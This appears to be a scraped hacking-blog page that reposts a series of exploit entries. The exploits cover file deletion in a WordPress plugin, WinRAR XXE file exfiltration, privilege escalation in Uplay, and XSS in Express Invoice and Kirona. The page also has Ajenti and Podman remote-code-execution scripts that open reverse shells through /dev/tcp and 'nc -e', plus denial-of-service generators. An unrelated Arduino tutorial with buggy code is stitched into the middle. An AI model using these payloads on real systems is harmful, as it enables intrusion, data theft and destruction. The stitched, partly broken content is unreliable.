# Exploit Title: WordPress Arforms 3.7.1 - Directory Traversal
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1
# CVE ID: CVE-2019-16902
#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************
#!/usr/bin/env ruby
require "net/http"
require 'colorize'
$host = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
def start_function ()
puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
name = STDIN.gets
if $host == ""
puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
exit
end
check_existence_arform_folder
execute_deletion_attack
puts "Done ... see ya " + name
end
def send_checks(files_names)
j = 1
while j <= files_names.length-1
uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
request = Net::HTTP::Get.new(uri.request_uri)
request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
request["Connection"] = "keep-alive"
request["Accept-Language"] = "en-US,en;q=0.5"
request["Accept-Encoding"] = "gzip, deflate"
request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
begin
response = http.request(request).code
puts "The File " + files_names[j] + " has the response code of " + response
rescue Exception => e
puts "[!] Failed!"
puts e
end
j = j+1
end
end
def check_existence_arform_folder ()
path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
$i = 0
results = []
while $i <= path_array.length-1
uri = URI.parse("http://#{$host}/#{path_array[$i]}")
#puts uri
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
results[$i] = response.code
#puts"response code is : " + response.code
$i +=1
end
puts "****************************************************"
if results[0] == "200" || results[0] =="301"
puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
else
puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
exit
end
if (results[1] == "200" || results[1] == "301")
puts "The User Files folder is Available on the following path : ".green + $host + path_array[1]
else
puts "We couldn't find the User Files folder, on the following path ".red + $host + path_array[1]
end
puts "****************************************************"
end
def execute_deletion_attack ()
puts "How many file you want to delete my man"
amount = STDIN.gets.chomp.to_i
if(amount == 0)
puts "You can't use 0 or other strings this input for the amount of file you want to delete so it's an Integer".blue
exit
end
file_names = []
file_names[0] = "143_772_1569713145702_temp3.txt"
j = 1
while j <= amount.to_i
puts "Name of the file number " + j.to_s
file_names[j] = STDIN.gets
file_names[j].strip!
j = j+1
end
uri = URI.parse("http://#{$host}")
#puts uri
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie
$i = 0
while $i <= file_names.length-1
puts "Starting the Attack Journey .. ".green
uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
headers =
{
'Referer' => 'From The Sky',
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type' => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
'Accept-Encoding' => 'gzip, deflate',
'Cookie' => global_cookie,
'X_FILENAME' => file_names[$i],
'X-FILENAME' => file_names[$i],
'Connection' => 'close'
}
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Post.new(uri.path, headers)
request.body = File.read("post_file")
response = http.request request
$i = $i +1
end
execute_delete_request file_names,global_cookie,amount.to_i
puts "Finished.........."
end
def execute_delete_request (file_names,cookies,rounds )
$i = 0
while $i <= file_names.length-1
puts "Starting the Attack on file No #{$i.to_s} ".green
uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
headers =
{
'Referer' => 'From The Sky',
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With'=> 'XMLHttpRequest',
'Cookie' => cookies,
'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding' => 'gzip, deflate',
'Connection' => 'close'
}
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Post.new(uri.path,headers)
request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
response = http.request(request)
if $i != 0
puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
end
$i = $i +1
end
send_checks file_names
end
start_function()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863595023
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: winrar 5.80 - XML External Entity Injection
# Exploit Author: hyp3rlinx
# Vendor Homepage: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe
# Version: 5.80
# Tested on: Microsoft Windows Version 10.0.18362.418 64bit
# POC
1- python -m SimpleHTTPServer (listens Port 8000)
2- open winrar or any file.rar
3- help
4- help topics
5- Drag the exploit to the window
html file
<htmlL>
<body>
<xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</body>
</html>
==============================
start.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;
# Exploit Title: Uplay 92.0.0.6280 - Local Privilege Escalation
# Date: 2019-08-07
# Exploit Author: Kusol Watchara-Apanukorn, Pongtorn Angsuchotmetee, Manich Koomsusi
# Vendor Homepage: https://uplay.ubisoft.com/
# Version: 92.0.0.6280
# Tested on: Windows 10 x64
# CVE : N/A
# Vulnerability Description: "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher" has in secure permission
# that allows all BUILTIN-USER has full permission. An attacker replace the
# vulnerability execute file with malicious file.
///////////////////////
Proof of Concept
///////////////////////
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>icacls "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher"
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher BUILTIN\Users:(F)
BUILTIN\Users:(OI)(CI)(IO)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Vulnerability Disclosure Timeline:
==================================
07 Aug, 19 : Found Vulnerability
07 Aug, 19 : Vendor Notification
14 Aug, 19 : Vendor Response
18 Sep, 19 : Vendor Fixed
18 Sep, 19 : Vendor released new patched
# Exploit Title: Express Invoice 7.12 - 'Customer' Persistent Cross-Site Scripting
# Exploit Author: Debashis Pal
# Date: 2019-10-13
# Vendor Homepage: https://www.nchsoftware.com/
# Source: https://www.nchsoftware.com/invoice/index.html
# Version: Express Invoice v7.12
# CVE : N/A
# Tested on: Windows 7 SP1(32bit)
# About Express Invoice v7.12
==============================
Express Invoice lets you create invoices you can print, email or fax directly to clients for faster payment.
# Vulnerability
================
Persistent Cross site scripting (XSS).
# PoC
======
1. Login as authenticated unprivileged user to Express Invoice version 7.12 web enable service i.e http://A.B.C.D:96 [Default installation].
2. Under "Invoices" Invoices List -> View Invoices -> Add New Invoice -> Customer: Field put </script><script>alert('XSS');</script>
Save the change.
or
Under "Items"
Items -> Add new item-> Item field: put </script><script>alert('XSS');</script>
Save the change.
or
Under "Customers"
Customers -> Add New Customer -> Customer Name: put </script><script>alert('XSS');</script>
Save the change.
or
Under "Quotes"
Quotes -> View Quotes -> Add New Quote -> Customer: put </script><script>alert('XSS');</script>
Save the change.
3. Login in authenticated privileged or unprivileged user to Express Invoice v7.12 web enable service and visit any of Invoices/Items/Customers/Quotes section, Persistent XSS payload will execute.
# Disclosure Timeline
======================
Vulnerability Discover Date: 12-Sep-2019.
Vulnerability notification to vendor via vendor provided web form: 12-Sep-2019 ,13-Sep-2019, 19-Sep-2019, 26-Sep-2019, no responds.
Submit exploit-db : 14-Oct-2019.
# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
In this article, I will briefly talk about using Arduino and ultrasonic module to implement intelligent garbage can experiments. When a person approaches the trash can, the trash can is automatically opened.
Preparation of materials
Arduino ultrasonic sensor servo
Line connection
Code
#include Servo.h
const int trigPin=9; //trigger pin of ultrasonic sensor
const int echoPin=10; //Echo pin of ultrasonic sensor
Servo servoMotor; //Create servo object
void setup() {
Serial.begin(9600);
pinMode(trigPin, OUTPUT);
pinMode(echoPin, INPUT);
servoMotor.attach(6); //Connect the servo to digital pin 6
}
void loop() {
long duration, distance;
//Send ultrasonic pulses
digitalWrite(trigPin, LOW);
delayMicroseconds(2);
digitalWrite(trigPin, HIGH);
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
//Read the time of ultrasonic return
duration=pulseIn(echoPin, HIGH);
//Convert time to distance (cm)
distance=(duration/2)/29.1;
Serial.print('Distance:');
Serial.print(distance);
Serial.println(' cm');
//Control the servo to rotate according to distance
if (distance=10) {
//If the distance is less than or equal to 10 cm, the servo will rotate to a 90-degree position
servoMotor.write(90);
} else {
//Otherwise, the servo will return to the 0-degree position
servoMotor.write(0);
}
delay(500); //Delay to stabilize output
}
Effect
Precautions
Correct wiring to prevent the sensor from burning out. The pin position and the angle of the servo can be modified in the code.
# Exploit Title: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service
# Date: 2019-10-12
# Vendor Homepage: https://www.actfax.com/
# Software Link : https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Exploit Author: Achilles
# Tested Version: 6.92
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run python code : ActiveFax_Server.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open ActiveFaxServer.exe
# 4.- Open the Pop3 Server Config
# 5.- Press New
# 6.- Paste the content of EVIL.txt into the field: 'POP3 Server Address and Login and Password'
# 7.- Press ok Twice
# 8.- And you will see a crash.
#!/usr/bin/env python
buffer = "\x41" * 6000
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: SpotAuditor 5.3.1.0 - Denial of Service
# Author: Sanjana Shetty
# Date: 2019-10-13
# Version: SpotAuditor 5.3.1.0
# Vendor Homepage: http://www.nsauditor.com
# Software link: http://spotauditor.nsauditor.com/
# <POC by Sanjana Shetty>
# Steps
[1] Install the SpotAuditor software
[2] Access the register functionality
[3] In the name field enter 5000 A's and press enter, this will crash the
application.
==== use below script to create 5000 A's to a text file and copy it to the name field============
print ("# POC by sanjana shetty")
try:
f = open("file.txt","w")
junk = "\x41" * 5000
f.write(junk)
print ("done")
except (Exception, e):
print ("#error - ") + str(e)
# Title: Ajenti 2.1.31 - Remote Code Execution
# Author: Jeremy Brown
# Date: 2019-10-13
# Software Link: https://github.com/ajenti/ajenti
# CVE: N/A
# Tested on: Ubuntu Linux
#!/usr/bin/python
# ajentix.py
#
# Ajenti Remote Command Execution Exploit
#
# -------
# Details
# -------
#
# Ajenti is a web control panel written in Python and AngularJS.
#
# One can locally monitor executed commands on the server while testing
#
# $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed)
# sending proc connector: PROC_CN_MCAST_LISTEN... sent
# Reading process events from proc connector.
# Hit Ctrl-C to exit
#
# Browse over to https://server:8000/view/login/normal to login
#
# .....
# pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - test ]
# pid=9889 executed [/bin/su -c /bin/echo SUCCESS - test ]
#
# Modified the JSON request username value to be `id`
#
# pid=7514 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - `id` ]
# pid=7516 executed [id ]
# pid=7514 executed [/bin/su -c /bin/echo SUCCESS - uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ]
#
# *ACK.....*
#
# Also the login routine times out after 5 seconds (see auth.py), which
# makes an interactive shell relatively ephemeral. So, we cron job.
#
# $ python3 ajentix.py server.ip shell local-listener.ip
# Done!
#
# $ nc -v -l -p 5555
# Listening on [0.0.0.0] (family 0, port 5555)
# Connection from server.domain 41792 received!
# bash: cannot set terminal process group (18628): Inappropriate ioctl for device
# bash: no job control in this shell
# nobody@server:/var/spool/cron$ ps
# PID TTY TIME CMD
# 6386 ? 00:00:00 /usr/local/bin/ <-- ajenti-panel worker
# 18849 ? 00:00:00 sh
# 18851 ? 00:00:00 bash
# 18859 ? 00:00:00 ps
#
#
# Tested Ajenti 2.1.31 on Ubuntu 18.04, fixed in 2.1.32
#
# Fix commit: https://github.com/ajenti/ajenti/commit/7aa146b724e0e20cfee2c71ca78fafbf53a8767c
#
#
import os
import sys
import ssl
import json
import urllib.request as request
def main():
if(len(sys.argv) < 2):
print("Usage: %s <host> [\"cmd\" or shell...ip]\n" % sys.argv[0])
print("Eg: %s 1.2.3.4 \"id\"" % sys.argv[0])
print("... %s 1.2.3.4 shell 5.6.7.8\n" % sys.argv[0])
return
host = sys.argv[1]
cmd = sys.argv[2]
if(cmd == 'shell'):
if(len(sys.argv) < 4):
print("Error: need ip to connect back to for shell")
return
ip = sys.argv[3]
shell = "`echo \"* * * * * bash -i >& /dev/tcp/" + ip + "/5555 0>&1\" > /tmp/cronx; crontab /tmp/cronx`"
username = shell
else:
username = "`" + cmd + "`"
body = json.dumps({'username':username, 'password':'test', 'mode':'normal'})
byte = body.encode('utf-8')
url = "https://" + host + ":8000" + "/api/core/auth"
try:
req = request.Request(url)
req.add_header('Content-Type', 'application/json; charset=utf-8')
req.add_header('Content-Length', len(byte))
request.urlopen(req, byte, context=ssl._create_unverified_context()) # ignore the cert
except Exception as error:
print("Error: %s" % error)
return
print("Done!")
if(__name__ == '__main__'):
main()
# Exploit Title: Podman & Varlink 1.5.1 - Remote Code Execution
# Exploit Author: Jeremy Brown
# Date: 2019-10-15
# Vendor Homepage: https://podman.io/
# Software Link: dnf install podman or https://github.com/containers/libpod/releases
# Version: 1.5.1
# Tested on: Fedora Server 30
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# pickletime.py
#
# Podman + Varlink Insecure Config Remote Exploit
#
# -------
# Details
# -------
#
# Podman is container engine / platform similar to Docker supported
# by RedHat and Fedora with Varlink being a protocol to exchange
# messages, which comes in handy for things like a Remote API.
#
# Now depending on how Podman and Varlink are deployed, they can be
# susceptible to local and remote attacks. There are a few API bugs
# in Podman itself, as well as a way to execute arbitary commands if
# one can hit Podman via the Remote API. Running Podman with Varlink
# over tcp listening either on localhost or the network interface is the
# most vulnerable setup, but other ways such as access via the local UNIX
# socket or over SSH (key /w no passphrase is common) aren't likely
# to be vulnerable unless ACLs or other stuff is broken.
#
# ------------------
# Testing the issues
# ------------------
#
# - check; just connects and issues GetInfo() to see if the host is
# running a podman service
#
# - exec; arbitrary cmd execution via ContainerRunlabel() specified
# by "run" label in the specified hosted image (self-setup)
#
# - dos; crash the server via choosing a /random/ selection from
# the available parsing bugs in APIs (we like to have fun here)
#
# - blind; dir traversal in SearchImages() API to force server to
# read an arbitrary file (no client-side output)
#
# - volrm; loops to remove all volumes via VolumeRemove() behavior
#
# ---------
# Exec demo
# ---------
#
# $ ./pickletime.py check podman-host:6000
# -> Podman service confirmed on host
#
# Then create a Dockerfile with an edgy label, build and host it.
#
# [Dockerfile]
# FROM busybox
# LABEL run=“nc -l -p 10000 -e /bin/bash”
#
# $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run
# Done!
#
# $ nc podman-host 10000
# ps
# PID TTY TIME CMD
# 111640 pts/1 00:00:00 bash
# 111786 pts/1 00:00:00 podman
# 111797 pts/1 00:00:00 nc
# 111799 pts/1 00:00:00 bash
# 111801 pts/1 00:00:00 ps
#
#
# Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64
#
# -----------
# Other stuff
# -----------
#
# Note: admins can really setup their connection and deployment configuration
# however they like, so it's hard to say how many folks are 'doing it wrong'
# or actually are running with proper auth and hardening in place. Shodan
# folks have been contacted about adding support to discover Varlink services
# to get more data that way as well.
#
# Fixed bugs:
# - DoS #2 was fixed in 1.5.1
# - Updated security docs / cli flags TBD
#
# > Why pickles? Why not.
#
# Dependencies to run this code:
#
# sudo dnf install -y python3-podman-api
#
#
#
import os
import sys
import socket
import subprocess
import random
import json
import podman
import pickle
import time
serviceName = 'io.podman' # service name
def main():
if(len(sys.argv) < 2):
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
print("Eg: %s check tcp:podman-host:6000" % sys.argv[0])
print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
print("Actions: check, exec, dos, blind, volrm\n")
return
action = sys.argv[1]
address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing
ip = address.split(':')[1]
port = int(address.split(':')[2])
if(action == 'exec'):
if(len(sys.argv) < 4):
print("Error: need more args for exec")
return
image = sys.argv[3] # 'source' for pull
label = sys.argv[4]
isItTime()
try:
pman = podman.Client(uri=address)
except Exception:
print("Error: can't connect to host")
return
if(action == 'check'):
result = json.dumps(pman.system.info())
if('podman_version' in result):
print("-> Podman service confirmed on host")
return
print("-!- Podman service was not found on host")
elif(action == 'exec'):
#
# First pull the image from the repo, then run the label
#
try:
result = pman.images.pull(image) # PullImage()
except Exception as error:
pass # call fails sometimes if image already exists which is *ok*
#
# ContainerRunlabel() ... but, no library imp. we'll do it live!
#
method = serviceName + '.' + 'ContainerRunlabel'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"Runlabel\":{\"image\":\"'
message += image
message += '\",\"label\":\"'
message += label
message += '\"}}}'
message += '\0' # end each msg with a NULL byte
doSocketSend(ip, port, message)
elif(action == 'dos'):
#bug = 1 # !fun
bug = random.randint(1,2) # fun
if(bug == 1):
print("one")
source = 'test'
method = serviceName + '.' + 'LoadImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"source":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
# works on 1.4.4, fixed in 1.5.1
if(bug == 2):
print("two")
reference = 'b' * 238
source = '/dev/null' # this file must exist locally
method = serviceName + '.' + 'ImportImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"reference\":\"'
message += reference
message += '\",\"source\":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
#
# blind read of arbitrary files server-side
# ...interesting but not particularly useful by itself
#
# openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
# lseek(7, 0, SEEK_CUR) = 0
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
# close(7)
#
elif(action == 'blind'):
method = serviceName + '.' + 'SearchImages'
query = '../../../etc/passwd/' # magic '/' at the end
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"query\":\"'
message += query
message += '\"}}'
message += '\0'
#pman.images.search(query) # unclear why this doesn't work
doSocketSend(ip, port, message)
#
# Not really a bug, but an interesting feature to demo without auth
# note: call CreateVolume() a few times beforehand to test the removal
#
elif(action == 'volrm'):
method = serviceName + '.' + 'VolumeRemove'
n = 10 # this is probably enough to test, but change as necessary
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
message += '\0'
for _ in range(n):
doSocketSend(ip, port, message)
time.sleep(0.5) # server processing time
print("Done!")
#
# podman/varlink libaries don't support calling these API calls, so native we must
#
def doSocketSend(ip, port, message):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())
except Exception as error:
print(str(error))
return
finally:
sock.close()
#
# obligatory routine
#
def isItTime():
tm = time.localtime()
p = pickle.dumps('it\'s pickle time!')
if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
print(pickle.loads(p))
else:
pass # no dill
if(__name__ == '__main__'):
main()
# Exploit Title: Kirona-DRS 5.5.3.5 - Information Disclosure
# Discovered Date: 2019-10-03
# Shodan Search: /opt-portal/pages/login.xhtml
# Exploit Author: Ramikan
# Vendor Homepage: https://www.kirona.com/products/dynamic-resource-scheduler/
# Affected Version: DRS 5.5.3.5 may be other versions.
# Tested On Version: DRS 5.5.3.5 on PHP/5.6.14
# Vendor Fix: Unknown
# CVE: CVE-2019-17503,CVE-2019-17504
# Category: Web Apps
# Reference : https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS 5.5.3.5 Multiple Vulnerabilities
# Description:
# The application is vulnerable to the HTML injection, reflected cross site scripting and sensitive data disclosure.
# Vulnerabiity 1:HTML injection and (CVE-2019-17504)
# An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. A reflected Cross-site scripting (XSS)
# vulnerability allows remote attackers to inject arbitrary web script via the /osm/report/ 'password' parameter.
Affected URL: /osm/report/
Affected Parameter: password
POST Request:
POST /osm/report/ HTTP/1.1
Host: 10.50.3.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Connection: close
Referer: https://10.50.3.148/osm/report/
Upgrade-Insecure-Requests: 1
create=true&password=&login=admin&password='<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--
Response:
HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 14:56:05 GMT
Server: Apache
X-Powered-By: PHP/5.6.14
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-WithXDomainRequestAllowed: 1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 03 Oct 2019 14:56:05 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 728
Connection: close
Content-Type: text/html;charset=UTF-8
<html>
<head>
<img src='logo.jpg'>
<form method='POST'>
<input type='hidden' name='create' value='true'/>
<input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
<table>
<tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
<tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
<tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
</table>
</form>
</head>
</html>
GET Request:
GET https://10.0.1.110/osm/report/?password=%27%3C%22%20%3E%3C%3Ch1%3EHTML%20Injection-heading%20tag%20used%3C/h1%3E%3Cscript%3Ealert(%22This%20is%20Cross%20Site%20Scripting%22)%3C/script%3E%3C!-- HTTP/1.1
Host: vs-kdrs-l-01.selwoodhousing.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 14:53:35 GMT
Server: Apache
X-Powered-By: PHP/5.6.14
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
XDomainRequestAllowed: 1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 03 Oct 2019 14:53:35 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 728
Connection: close
Content-Type: text/html;charset=UTF-8
<html>
<head>
<img src='logo.jpg'>
<form method='POST'>
<input type='hidden' name='create' value='true'/>
<input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
<table>
<tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
<tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
<tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
</table>
</form>
</head>
</html>
***************************************************************************************************************************
Vulnerability 2: Source code and sensitive data disclosure. (CVE-2019-17503)
***************************************************************************************************************************
An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly: it contains sensitive information about the database through the SQL queries within this batch file. This file exposes SQL database information such as database version, table name, column name, etc.
Affected URL: /osm/REGISTER.cmd or /osm_tiles/REGISTER.cmd
# Request:
GET /osm/REGISTER.cmd HTTP/1.1
Host: 10.0.0.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 09:23:54 GMT
Server: Apache
Last-Modified: Tue, 07 Nov 2017 09:27:52 GMT
ETag: "1fc4-55d612f6cae13"
Accept-Ranges: bytes
Content-Length: 8132
Connection: close
@echo off
set DEBUGMAPSCRIPT=TRUE
rem
rem Find root path and batch name
rem root path is found relative to the current batch name
rem
rem turn to short filename (remove white spaces)
for %%i in (%0) do (
set SHORT_MAPSCRIPTBATCH_FILE=%%~fsi
set MAPSCRIPTBATCH_FILE=%%~i
)
for %%i in (%SHORT_MAPSCRIPTBATCH_FILE%) do (
set MAPSCRIPTROOTDIR=%%~di%%~pi..\..\..
)
if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTROOTDIR=%MAPSCRIPTROOTDIR%
if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTBATCH_FILE=%MAPSCRIPTBATCH_FILE%
rem
rem find if we are in INTERRACTIVE mode or not and check the parameters
rem
if "%1"=="" goto INTERACTIVE
goto NONINTERRACTIVE
:NONINTERRACTIVE
rem non interractive call so catch the parameters from command line
rem this is supposed to be called from the root DRS directory
if "%2"=="" (
echo Invalid parameter 2
pause
goto :EOF
)
set ACCOUNT=%2
set STATIC=NO
if "%1"=="STATIC" set STATIC=YES
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Command line mode %STATIC% %ACCOUNT%
if "%1"=="STATIC" goto GLOBAL
if "%1"=="DYNAMIC" goto GLOBAL
echo Invalid parameter 1
pause
goto :EOF
:INTERACTIVE
rem Interractive mode : ask for account and static mode
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Interractive mode
echo Open Street Map setup for Xmbrace DRS
set /P ACCOUNT=Account name:
set /P STATIC=Limited map feature (YES/NO):
rem back to the setup directory
cd %MAPSCRIPTROOTDIR%
rem # READ AND DEFINE SETTINGS
for /F "tokens=1,* delims==" %%k in (conf\default.txt) do (
if not "%%k"=="#=" set %%k=%%l
)
if exist CUSTOM\CONF\custom.txt (
for /F "tokens=1,* delims==" %%k in (CUSTOM\CONF\custom.txt) do (
if not "%%k"=="#=" set %%k=%%l
)
)
for /F "tokens=1,* delims==" %%k in (conf\settings.txt) do (
if not "%%k"=="#=" set %%k=%%l
)
if "%APACHE_USE_SSL%"=="TRUE" (
set DEFAULT_HTTP_PROTOCOL=https
set APACHE_USE_SSL_VALUE=true
set DEFAULT_HTTP_PORT=%APACHE_HTTPS_PORT%
) else (
set DEFAULT_HTTP_PROTOCOL=http
set APACHE_USE_SSL_VALUE=false
